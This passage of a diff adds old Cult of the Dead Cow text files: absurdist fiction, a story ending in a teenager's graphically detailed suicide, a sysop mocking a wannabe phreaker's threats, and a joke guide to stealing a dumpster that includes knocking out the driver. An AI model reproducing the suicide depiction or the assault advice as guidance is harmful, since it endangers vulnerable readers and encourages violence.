reporter. "And there +we are!" she blurted. + "Yes," Clyde said, "and do we look fat or what?" + "We sure do," Marguritte answered. "Television does that to you. It's +the tube. And here's something else: did you ever notice how people having +their pictures taken don't know what to do with their hands? It's like if you +don't do something with them right away, they sort of flutter around and make +you look stupid." + "This is true," Clyde agreed. "And if you think about it, gloves won't +help." + "No," Marguritte said, "I guess they won't at that. Seems to me that +it would be much simpler if everyone just walked on all fours like a dog. You +never see a dog look awkward in a picture because he didn't know what to do +with his paws, do you?" + "No," Clyde agreed, "you never do." + + "I had a dream last night," said Marguritte. "I dreamed I was +reincarnated as a maggot eating my own corpse. Do you suppose this means +something? Do you believe in omens?" + "No," said Clyde, "I don't. And that's not a very good dream. I had a +really good dream the other night, but I forget what it was. Something about +sports." He switched off the TV and settled back. "I woke up and was going to +write it down, but I didn't. It was a good one though, I'll tell you that." + + The dot on the TV screen had barely faded away when a blinding flood of +ethereal light burst through the bedroom window, silhouetting a solitary figure +outside tapping on the glass. Clyde's eyes were slow to adjust, but he soon +realized that the figure outside was none other than God. + "Marguritte," Clyde said, "God's outside tapping on the glass." + "Oh," Marguritte replied. "Then is this a miracle?" + Clyde thought carefully about this. "No," he said, "He hasn't done +anything yet. It's probably just a visitation." + "Well, we better see what He wants," Marguritte said, and she and Clyde +went to the window. + + "Hello, Clyde and Marguritte," God said. + "Hello, God," Clyde and Marguritte said back. + "I've decided to destroy the Earth by flood as punishment for its +wealth of violence and complacency." God's manner was grim. + "Oh," Marguritte exclaimed, "but You did that already and said You'd +never do it again." + "Well," God said, "I'm doing it again." + "That makes You a fibber," Clyde said. + "Never mind!" said God back, which made the Earth tremble slightly. "I +am warning you so you may be spared. Your time is short, so ready yourselves." + The Deadjohnsons were somewhat taken aback by all this, but Marguritte +regained her poise and asked slyly, "Do people really burn in Hell? I mean, +are they actually on fire?" + "That is a vicious rumor!" God boomed, and He was taken up, the light +disappearing. Then the sky opened up and it started to rain like Clyde and +Marguritte had never seen before, except once in Montana. + + So, relying solely on cunning and instinct, Clyde and Marguritte +readied themselves for salvation from the coming apocalypse. Gathering two of +every household appliance, they fastened down the living room, then began the +laborious task of sealing the cracks in the walls and the space beneath the +doors with a huge quantity of tub caulking Clyde kept on hand in the closet for +just such an eventuality. + + And soon they were tossing and rolling over the giant waves that now +enveloped the Earth. Since the destruction of all the known world would take +some time, the Deadjohnsons busied themselves playing Twister and making up +their own word-search puzzles. Clyde thought up a good one including all the +Presidents' names, and Marguritte made one dealing exclusively with things you +might find in a sewing box. Hers included the terms "thimble" and "yarn." + + "Well," Clyde remarked, "this certainly has been anything but boring." + "Yes," Marguritte agreed, "but I think I'm going to miss television." + "Oh," Clyde said, "I don't think there'll be enough time to watch it +anyway. I have a notion God will want us to propagate right away." + "Ooooo, I don't care for that word at all," Marguritte cringed. +"Please don't say it again." + "I'm sorry," Clyde said, "but I have this gut feeling there are strings +attached here somehow." + "Well," Marguritte quipped, "we made no promises so we make no +guarantees." + "Agreed," Clyde confirmed. Then his face went strangely blank, his +eyes rolled inside his head and he shouted suddenly, "GOLF!!" + Marguritte remained in her chair, perplexed. Clyde shouted again, +"Golf! My dream! The one I forgot! It was about golf! I'd shot a hole in +one and everybody in the world was applauding. That's what my dream was +about!" + "My," Marguritte said, "that was a good dream." + "Yes," Clyde said back, "it was. Certainly better than your dream of +being a maggot." + "Yes," Marguritte agreed, "I'd much rather shoot a hole in one than be +a maggot." + "I think most people would" Clyde said, and he laughed. Then +Marguritte laughed. Then Clyde and Marguritte Deadjohnson laughed together. + + The next morning it stopped raining, and together they made a list on +the back of a clean paper towel of things they might do. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1989 cDc communications by Dave Louapre. 09/30/89-#123 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0124.txt b/textfiles.com/groups/CDC/cDc-0124.txt new file mode 100644 index 00000000..3eac8509 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0124.txt @@ -0,0 +1,138 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... It Hurts and Won't Make You Better + by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +1. + The sky was grey, the blackbirds huddled in groups on the telephone +wires. A foot steps into a puddle. The man curses his misfortune as he +squishes down the street. + +2. + + "The damnable mornings here in DeKalb, you think that this was fucking +hell." muttered Jeff + + "It is hell, we've been here 2 months now, you should know that by +now," replied Jared. + + "Fuck you, Jared, it was something to say." + + "Yeah, I suppose you're right." + + The conversation continued on in the same fashion for the rest of the +walk to class, continuing after class for all eternity. It was a universal +conversation, everyone was having it. Some took a break every once in a while, +but there was never a time in the history of the university that this +conversation wasn't to be had somewhere on campus. + +3. + + "You know, sometimes I really wonder what I can believe in. It all +seems so god-damned futile. I certainly can't believe in god. I couldn't tell +you either way if you or I existed or not. Maybe that is all that is certain +anymore." + + "What do you mean?" + + "Take a look at things and you'll see what I mean. Look at my hand. +Does it exist?" + + "Yeah, sure." + + "How do you know it exists?" + + "Well... uh, I don't know, it just does." + + "It doesn't exist at all." + + "You can't believe that, you can see it and feel it." + + "No, I don't believe that, but I don't believe that it exists either. +Perhaps your mind is just making you think you have hands. I really don't know +what exists and what doesn't. It seems to me that the only thing that you can +count on is confusion." + + "What's your point?" + + "There is none." + +4. + + "Why don't you just fucking shut up?" + +5. + + "..." + +6. + + "Hey, kljsa ldsjkkjiovc4nncm,mkkfkjkjfffgkklmcxmvnrjvijveiojssjnnnxc." + + "It would help if you took that thing out of your mouth." + +7. + + >..< DNA: + >..< Building Blocks Of God + >--< + >..< + >..< + +8. + + "Mmmmmmmmuurph, go away, I want to sleep." + + "No, you must wake up. HAHAHAHAHAHAHAHA." + +9. + + There is no god, there is only noise. + +10. + + "It is time for the termination of the subject." + + "Indeed it is, Doctor Rybant, and for the doctors as well." + + + -O- + + Life is far more interesting in easy to chew bites, isn't it? + + +"I need release!" + -J.G. Thirlwell + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by Obscure Images. 10/27/89-04/03/90-#124 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0125.txt b/textfiles.com/groups/CDC/cDc-0125.txt new file mode 100644 index 00000000..84d3bd94 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0125.txt @@ -0,0 +1,309 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Sunday + by Peter Flechette + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + "Ton-EEEEEEE! Are you coming to church or not??" Mom's voice reverb- +erated down the narrow, wood-paneled stairway leading to Tony's basement room. +Tony Lundquist, who had been about to drop the needle, froze. He rolled his +eyes toward the stained ceiling, gave the fist-sized volume knob a hefty crank +clockwise and dropped it. + + "StrangulationmutilationcanceroftheBRAIN! Limbdissectionamputationfrom +amindDERANGED!!" he shouted as the ninety-eight second micro-opera +"Necrophobic" shuddered and buzzed his big black speakers. + + This -he knew- would do the trick, and he was not disappointed as he +faintly heard Mom shout: "When I return, young man, you and I will have a +little talk about MORAL DECAY!" So he'd have to sit through another of her +ever-briefer lectures; big fucking deal. One thing Tony had learned in his +past fourteen years is that the punishment was always a better deal than the +consequences of NOT biting back. Sure, his body had hurt for two weeks after +he stabbed that nun with the compass point. But he sure as hell hadn't been +sent back to that school. Soon after, Dad moved off to Montana and took his +leather belt with him. Unlike Daddy, Mom would never hit him; she would just +chew him out and swallow yet another heaping helping of guilt which would +further distend the Belly of our Savior. Tony thought of a hugely pregnant +Jesus hanging bleeding from the Cross with large, gravid breasts and laughed +loudly over the barbedwirespeedmetal cracking the paint and wondered, for the +ten-thousandth time, if he was going insane. + + Bill Olson had watched Tony's mom leave the house across the street and +walk hurriedly toward church. He quickly grabbed the large dufflebag and +headed down the stairs. Closing his own front door behind him, Bill walked +across the street to Tony's house and ducked into the garage. Arriving at the +side entrance which led indirectly to Tony's room, Bill rapped on the aluminum +screen door twice, then three more times. No answer. Bill cursed under his +breath: "Goddamn your blood, Tony, turn that down and answer the fuckin' door!" +Bill knew that he only had an hour or so before his mother returned from +worship and he had to tell Tony all about the unbelievable "yank film" he had +seen on the PLayboy Channel last night. Mind-boggling juggernauts! Tony was +gonna shit!! A lull in the din faintly assaulting Bill's eardrums manifested +itself and he feverishly repeated the secret knock. + + The cheaply-manufactured hollow-core door swung open to admit Bill. "Hey +buddy, you are gonna SHIT!" he chortled as he scurried into Tony's private +domain. "What's with all the pills, pal?" + + "I dunno," replied Tony, scooping up a few of the spilled aspirin and +pouring them back in the bottle. "I ain't been feeling well." + + "Bullshit! You're trying to get HIGH, Jack! That won't work and don't +try smoking banana peels, either. My brother had a friend who tried that and +he went blind. You can get cyanide poisoning from the fumes of the burning +banana." + + "Bullshit." + + "You're the one who's fulla shit!" + + "It's bullshit." + + "You callin' my brother a liar?!" + + Tony flopped on his unmade bed. "Nah, I just think it's bullshit. +Whatcha got in the bag?" + + Bill brightened. "You ain't gonna BELIEVE what I got in the bag. But +first I gotta tell ya about last night. They went out and forgot to lock the +fuckin' box, man!! I had the Playboy Channel goin' all night!! They had WOMEN +ON SEX which was pretty dumb; some psychologist who looked like a dyke yakkin' +about the G-spot was like, a total myth and how women could only obtain +pleasure through non-sexist-oriented pornography and a buncha stuff. But after +that they had SEXCETERA and there was this great thing on public sex in New +York with this chick in a black leather jacket that was just like flashing guys +on the street and EVERYTHING!" + + "You're shittin' me!" + + "I swear! It was really awesome! She had these whompmonster tits! And +she'd like lick her lips and stuff. The guys on the street were just totally +gassing. And then they had this... oh man, you're not gonna believe this! It +was like in Japan and they had this restaurant where these Japanese guys go to +eat really disgusting stuff so they can get their dicks hard. The cook is just +smiling away and he's chopping on this slimy fish with a big knife. And they +eat all this stuff just so they can get boners! I dunno; maybe the women in +Japan are weird or something. They were drinking wine that had a SNAKE in the +bottle; pickled snake. And they ask this guy what he's eating and he says: RAW +HOG TESTICLE! He's stuffing this gross thing in his mouth and his girlfriend +is just sitting there woofing! It was mind-slicing!!" + + Tony recumbent on his bead, regarded Bill with a gaze normally reserved +for blithering cretins and two-headed dogs. "Oh, yeah sure Billy. Are you +sure it wasn't raw DRAGON testicle? You are so fullashit..." + + "What's your DAMAGE, Tony? I ain't lyin'! And after this weird shit they +showed NEW WAVE HOOKERS with Traci. And she was... great." + + "Yeah?" + + "Yeah." + + "Let's go to the mall." + + "Your mom'll kill ya." + + "Fuck that bitch." + + The dufflebag was opened in a pre-mall ritual; Bill pulling forth a rusted +and scratched single-shot 30-30 deer rifle with a broken stock, salvaged from a +neighborhood dumpster. The two youths discussed whether this sorry-looking +piece would actually fire, Bill displaying a box of cartridges purloined from +his father's hardware store. There didn't seem to be much hope for the old +blunderbuss, so Tony stashed it under his bed and the two shuffled off to the +corner to catch a big red bus. + + Our two young heroes disembarked at Horsedale, the newest and biggest of +the mega-malls which ringed the Minneapolis area like hemorrhoids. The boys +made the proverbial beeline for Power Records, where they knew their buddy Rod +Gumhedd would be working. Rod was a sleazed-out wastrel with a serious lust +for the parent-upsetting louderfasterharder shit that Bill & Tony worshipped. +Rod kept a small stash of elpees with skulls on 'em tucked in a bin across from +the CD racks, and the boys headed straight for it. Bill picked up a copy of +LUKE 66:6 by the Buzzsaw Boners, flipped it over and whistled. "Check this +out, man. 'On your knees for the Buzzsaw Boners: the masters of pure bellig- +erence and destruction. A brutal assault on the senses.'" + + "Oh yeah? Well listen to this: 'The Cruel Bastards rip the fuckin' top +right off yer skull with just one hamfisted powerchord. Must be all those +Stooges, Dolls, Ramones, and Pistols records they eat for breakfast'" read Tony +from the back of NEVER MIND THE HOMOS, HERE'S THE CRUEL BASTARDS. + + "Good stuff, eh boys?" inquired Rod, who wore a doleful face despite his +cheery Charles Manson T-shirt. + + "Yeah!! When you gonna get that album by the Reverb Motherfuckers?" + + "I got some bad news for you guys. I got the axe yesterday and all this +stuff is going back to the warehouse tomorrow. You guys are gonna have to go +to Garage d'Or from now on, 'cause that's where I'll be working. We got a lot +more cool stuff down there, though: The Fiendish Thingies, Raped Elvis, +Duckfuckers Ahoy... real BITCHIN' bands!" + + "Aw shit, Rod, that's a fifty-minute bus ride!" + + Rod shrugged, black leather lapels gyrating. "Hey, guys. All these folks +out here groove on is CD's. If you want any of this wax, you better make with +the scratch like, el mas rapido, because soon it will be gone like spit ona +griddle." Bill and Tony's fallen faces told the story of empty pockets and +blown allowances. + + A creeping, splitting, familiar pain like a nail being slowly driven into +his left eye socket followed Tony out into the mall with Bill (bitching) in +tow. He reached in his jacket pocket for an aspirin and bit down on it. The +chalky bitterness he had come to enjoy flooded his mouth. It tasted of funeral +pyres. + + "I heard that those CD's are all gonna oxidize in about five years; the +lettering on 'em starts to rot and they all go bad. I heard a defective CD +once on the radio and it sounded like Max Headroom on acid!" Tony was deafened +by fantasies of breaking bones, exposed marrow, electrical wires; he barely +heard Bill's incessant chatter as they strode along the mallwalk. It took a +hearty shout from the Queen of Jockstraps, Miss Hut-Hut-Hut herself - Barb +Johnson - to stop the pain-addled teenager in his tracks. + + "Well, if it isn't the Neezer Twins from Biology!" bellowed the six-foot +cornfed blonde teen Brunhilda, hands on hips, flanked by her giggling and +equally loathsome toadie, Cindy Nelson. "Frog Pox! Frog Pox! Saaaaaaaaad!" +It was impossible to ignore or evade these letter-jacketed harpies blocking the +mallwalk like bovine pylons. Bill sneered. Tony stared. Cindy struck a +phonus-balonus cheesecake pose which mocked the sexual frustrations of teenage +boys across the nation and hollered: "Hey neezlehead! Wannna get lucky?" She +walked up to Tony and tweaked his nose, hard, causing involuntary tears to come +to his eyes. The two she-devils walked past in full guffaw as Bill managed to +squeak out some stilted slur rooted in venereal fiction. Tony clung to the +railing, mortified to the core, stomach twisting like a freshly-speared moray +eel, face hot/wet/red. He lurched towards the bathroom. + + Splashing cold water on his head and softly sobbing, Tony pondered just +what in the fuck ELSE could go wrong today. Home meant catching H-E-double-L +from the old witch and tomorrow meant that Goddamn Biology Test. What was the +difference between a zygote and a mitochondria and who gave a flying fuck about +it anyway? He knew, instinctively, that he would NEVER get laid. Not in this +lifetime. "Hey son, you OK? You don't look so good..." opined some concerned +middle-aged bathroom bystander. Tony turned a pair of bleary eyes toward him; +Inner Third Eye pictures the bastard - the piece of FLESH - crushed in Satan's +claw, flesh rent from bone, torn and oozing... what pain Christ must have felt +as they scourged him with that splintering board! + + "FUCK YOU!" screamed Tony, for no reason he could fathom. The citizen's +face darkened. + + "Watch your language or I'll have you thrown out of this mall. You little +shit." Citizen spun on his heel and stalked out of the shitter as a loud bowel +sound split the air inside one of the stalls. Tony whirled to face the stall, +daggers in the eyes, and spied: + + Faded brown corduroys crumpled around brown leather shoes. Brown paper +bag with brown cylinder paper bag perched on top of the contents. Brown +cylinder with screw-top poking out front. Bingo. Thank you, General Molotov. +Tony rushed to the stall and deftly, with the agility of an unjaded cat +burglar, grabbed the bottle out of the shopping bag and hurtled out of the +bathroom with curses from the freshly-robbed spud wishing him an unfond +farewell. + + Tony and Bill spent the next two hours in the Everyburger parking lot +consuming most of a quart of pricey vodka mixed with soda pop, as the sun sank +in a pasty sky. + + Little unsteady steps on the dirty snow brought Tony back to the shitty +little house heated with Mom's alimony checks. He knew she would lock his +side-door from the inside so that he would have to go through the living room +to get in. He reached into his jacket and poured another slug into the system. +Stuff no longer burned like gasoline... more like kerosene. The bottle slipped +from his fingers and impaled a mound of snow. Tony blundered through the front +door and into the acrid haze of Mommy's smoldering Salem Lights. Two in the +ashtray and one in her slit of a mouth. "You stinking little shit. You're +just like your father, that bastard. He talked me out of using the coat +hanger. Should have..." she staggered toward him, "...put a little hole..." +she put out her leathery, sweat-slimed palm, "right in the center... of... +your...forehead!" SLAP! + + As shitfaced as the teenager was, he realized that this mother was in +worse shape. The odor of juniper twigs boiled in rubbing alcohol tickled his +pickled nostrils. He stepped sideways and made it to the stairs, closing the +door behind him and in front of her, twisting the deadbolt. Slipped, grabbed +the rail and rode it all the way down to his room. Unable to find the record; +pulled a bunch of 'em out on the floor and spotted the cast iron fist almost by +default. Motorhead always made 33-and-a-third sound like 120 miles-per-hour +with your face hanging two inches from the asphalt, and that was what Tony +needed at the moment. "The invisible hand in front of me" hummed over the +asphalt and Tony closed his eyes... then JERKED them open as the room began to +spin. What a total fuckup, he thought, can't even manage to pass out +successfully. The huge, powerful monster - blacker than Michael Milken's heart +- grabbed him around the shoulders and bit into the back of his head. Tony +howled in anguish and fear and slid off his bed onto the floor. His hand went +under the bed and came out with Bill's dufflebag attached ot it. + + And the copper-jacketed spire-point cartridge fit precisely into the +single chamber. + + And the point of the broken stock fit precisely in the corner of the room. + + And the crown of the muzzle fit precisely in the center of Tony's +forehead. + +FiringpinslidingdownitsoilyTRACK. + +DentingtheprimerscrapingtheANVIL. + +FierysparksignitingthePOWDER. + +BurninggasesexpandingpushingtheBULLET. + +OutofthecaseanddownthetwistingSPOUT. + +PickingupspeedspirallingoutpasttheCROWN. + +SpirepointstretchingskinandmakingitTAUT. + +ThespireofcopperbreaksthroughandgoesIN. + +FragmentsofmetalshavedbylandsandGROOVES. + +HurledbytherotatingprojectileintotheWOUND. + +BlastofexpandinggassesbetweenskullandSCALP. + +TearsthroughskinleavingthedefectCRUCIATE. + +MinutedbonefragmentsshredtheBRAIN. + +NomorePAIN. + + Mrs. Lundquist poured a tad more Diet Pepsi into the glass to help cut the +taste of the gin and wondered aloud: "What in the FUCK is he listening to +now??" + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1990 cDc communications by Peter Flechette. 04/03/90-#125 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0126.txt b/textfiles.com/groups/CDC/cDc-0126.txt new file mode 100644 index 00000000..cf5ced5c --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0126.txt @@ -0,0 +1,190 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Stud Muffin R0dent + by Tequila Willy + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:- + +NOTE: This was my welcome message on my BBS; [cDc] TWGSC: <209>/526-3194 [cDc] + Some people are just so ungroovy... --Tequila Willy + +-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:- + + December 12, 1987 + [1:32 a.m. PST] + + As you well know, when you register I ask you to leave a little bit of +feedback, so that I will have a highly vague idea of what you are like. I then +may or may not chat with you in a time soon following that. Lately there has +been a person who has been very persistent in trying to gain access to the +system. I would like to know what you all think of this individual based on +the feedback I have received (which follows after this message). + +Note: text written in [ and ] are comments by myself. + +(Some messages have been slightly edited - i.e. his phone number and real name +were edited out.) + +-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:- + +Msg#: 5963 *MSG TO SYSOP* +12/09/87 19:35:05 (Read 6 Times) +From: DEPECHE PATROL .. +To: SYSOP (Rcvd) +Subj: NEW +HEY GUY..I NEED PHREAK CODES FOR I.T.T....I AM A LIFE TIME MOD. THAT IS THE +BEST MUSIC AROUND!!! I AM CALLING THIS BOARD BECAUSE I HEARD FROM ME +FRIEND,"THE EXPLOITER" THAT THIS IS A PHREAK ONLY BOARD. PHREAKING IS MY +LIFE..I'M ALSO LOOKING FOR AN I.T.T COMP. FONE #..IF YOU CAN HELP I WILL BE +GREATFULL..BY THE WAY I USED TO HAVE A ACCOUNT HERE UNDER THE NAME "THE +DEVESTATOR" I WAS LEVEL 20.. I WISH TO GET MY OLD STANDING BACK.. LATER +DAZE,,,DEPECHE PATROL. + +wd, elete, gain, eply, ext, or top? N + + +[ New user access is level 20 ] + + +Msg#: 6028 *MSG TO SYSOP* +12/10/87 09:43:38 (Read 4 Times) +From: DEPECHE PATROL +To: SYSOP (Rcvd) +Subj: NEW USER +YO' MY NAME IS name$,OR DEPECHE PATROL..MY VOICE PHONE IS..415-XXX-XXXX..I AM A +PHREAK..I NEED NEW ITTS. MY LAST EXPERIENCE WITH HACKACKING SENT M.R POLICE MAN +TO MY DOOR..I BROKE INTO A BANK COMP. AND CRASHED THE SYSTEM. THEY HAD A TRACER +THAT CAUGHT ME.THEY LLET ME OFF WITH A WARNING AND A STIFF FINE MY DAD HAD TO +PAY.. WELL THATS ENOUGH ABOUT ME.... + +wd, elete, gain, eply, ext, or top? N + + +[ k-rad d00d!1! ] + + +Msg#: 6056 *MSG TO SYSOP* +12/10/87 20:48:15 (Read 3 Times) +From: DEPECHE PATROL +To: SYSOP (Rcvd) +Subj: ACCOUNT +HEY YOU DONT UNDER STAND...I DO HAVE INFO...I HAVE ALOT OF LISTINGS FOR +BANKS...AS IN THE TERMINALS...I ALSO HAVE..PHONE #'S FOR TELEPHONE +COMPANIES..AND THINGS LIKE THAT..SO AS YOU CAN SEE I DO HAVE INFO TO TRADE... + +wd, elete, gain, eply, ext, or top? N + + +Msg#: 6057 *MSG TO SYSOP* +12/10/87 20:51:54 (Read 3 Times) +From: DEPECHE PATROL +To: SYSOP (Rcvd) +Subj: ... +U HAVE MY PHONE #..USE IT IF YOU DARE....MABY WE CAN DESCUSS MY INFO......BUT +MABY..BESIDES I WANT TO FIND OUT IF I AM ON BOARD OR NOT...............I'M THE +ONLY ONE HERE RIGHT NOW... + +wd, elete, gain, eply, ext, or top? N + + +Msg#: 6093 *MSG TO SYSOP* +12/11/87 16:06:21 (Read 4 Times) +From: DEPECHE PATROL +To: SYSOP (Rcvd) +Subj: THIS BBS +HEY... HAVE YOU THOUGHT ABOUT THE INFO I HAVE YET? I HAVE ALOT...CALL ME AND +MABY WE CAN DISCUSS THIS.. I WOULD LIKE TO KNOW IF YOU ARE GOING TO GIVE ME AN +ACCOUNT OR WHAT... YOU HAVE MY PHONE # IF YOU DON'T IT IS 415-XXX-XXXX..PLEASE +CALL.. + +LATER DAZE.. DEPECHE PATROL + +wd, elete, gain, eply, ext, or top? N + + +[ How do you get rid of this guy?! ] + + +Msg#: 6094 *MSG TO SYSOP* +12/11/87 18:43:53 (Read 3 Times) +From: VERY MADD +To: SYSOP (Rcvd) +Subj: MADD!!!!!!!! +I WANT TO KNOW WHO THE HELL IS USING MY NAME ON THIS BOARD!!!!!!TH IS MAKES ME +FUCKING MAD!!!!!!call me tonight at 415-XXX-XXXX,,ask for name$!!! they are +using my name "depeche patrol" i'm the guy that crashed the bank +comp..remember?wel l you soon will if i don't get a call +tonight!!!!!!!!!!!!!!!! i mean it..if i can crash a bank computer i can crash +your wimpy 64...so give me a call tonight!!!!! !!u have until tomorrow to call +me or your comp. will be crashed by the 1st of jan.....i promise u that!..... +the real depeche patrol.. p.s. u sound like a real dick...and u prob. don't +know the first thing about computers.... u prob. don't even know wut a black +box is... call me!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !! + +wd, elete, gain, eply, ext, or top? N + + +[ This system is not run on a C=64.. ] + + +Msg#: 6095 *MSG TO SYSOP* +12/11/87 18:52:10 (Read 3 Times) +From: VERY MADD +To: SYSOP (Rcvd) +Subj: BY THE WAY +just try me!!!!!!!!!!!!!!!!!!!!!! thats it for now.. either you call me or +give me an account by tomorrow after noon. or your shut down..trust me iknow +wut i'm doing!!!!!!!!!!! + +wd, elete, gain, eply, ext, or top? N + + +-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:- + + Well, you heard the guy, looks like this board is "g0in D0WN!!!!!!!!!!!!!" +He, obviously, "knows wut hes doing!!!!!!!!!!!", we better be careful. +Actually, I don't think this board is "k-elite enph ph0r him!1!".. + +-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:- + +EPILOGUE: Stud muffin, depeche patr0l, never called back after his last +"threat." I think this just goes to show how many real losers are out there; +don't encourage them--it makes me ill. + +-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:- + +More good-natured fun.... + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by Tequila Willy. 12/12/87-04/03/90-#126 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0127.txt b/textfiles.com/groups/CDC/cDc-0127.txt new file mode 100644 index 00000000..f561c4ab --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0127.txt @@ -0,0 +1,127 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Double Feature + by The Dark Static + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ +{_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} + +From The Nashua Cult........................................The Dark Static + _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ +{_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} {_} + + + A double "How-To" t-file... + +Table of Contents: 1: How To Steal a Dumpster + 2: How To Lock Someone In Their Own House + + +How To Steal a Dumpster +~~~~~~~~~~~~~~~~~~~~~~~ + + This has never worked for me, so add any helpful tips you can! +First: Find a dumpster full of goodies [hard to find these days]. Call up the +Dept. Of Sanitation, and pose as a manager of the place... explain that you are +having a problem with the dumpster being too full to put anymore in. Hassle +them until they agree. If that works, they will send out one of those garbage +trucks that lift dumpsters and dump their contents into the truck. The driver +arrives: Hide in the bushes somewhere, and make sure there is no one around +the dumpster area or within viewing range of the victim dumpster. He will +get the dumpster hooked on, and then begins to lift it into the air. This is +where the hard part comes in. Remember when you always pretended to be in one +of those Ninja movies [or not], well it's come true! Sneak to the dumpster. +Now begin frantically screaming that someone is in the dumpster after 4 seconds +of lifting. At this time, jam the joint thingy with a metal bar or something +strong. Now all this takes good timing, so NEVER panic if you want a +successful theft. + + The reason this didn't work for me, is because there actually was someone +in the dumpster, and he blew my cover by screaming in sheer terror. Well, +anyway, don't let my sad but enlightening story get you down, rather learn from +it, and tell it to your grandkids. + + On with the scandal - The driver will either come running out, or try to +put the dumpster back down. Seeing that choice B doesn't work, he will come +running out. This is the perfect moment to nail him in the head with a nearby +stone, knocking him out. If you planned poorly, and nothing was available to +hit him with, or he was just plain immortal, then this is when you make a run +for it and try some other day. Otherwise, proceed to the next phase of your +plan. + + All right, so the driver's knocked out. Note: 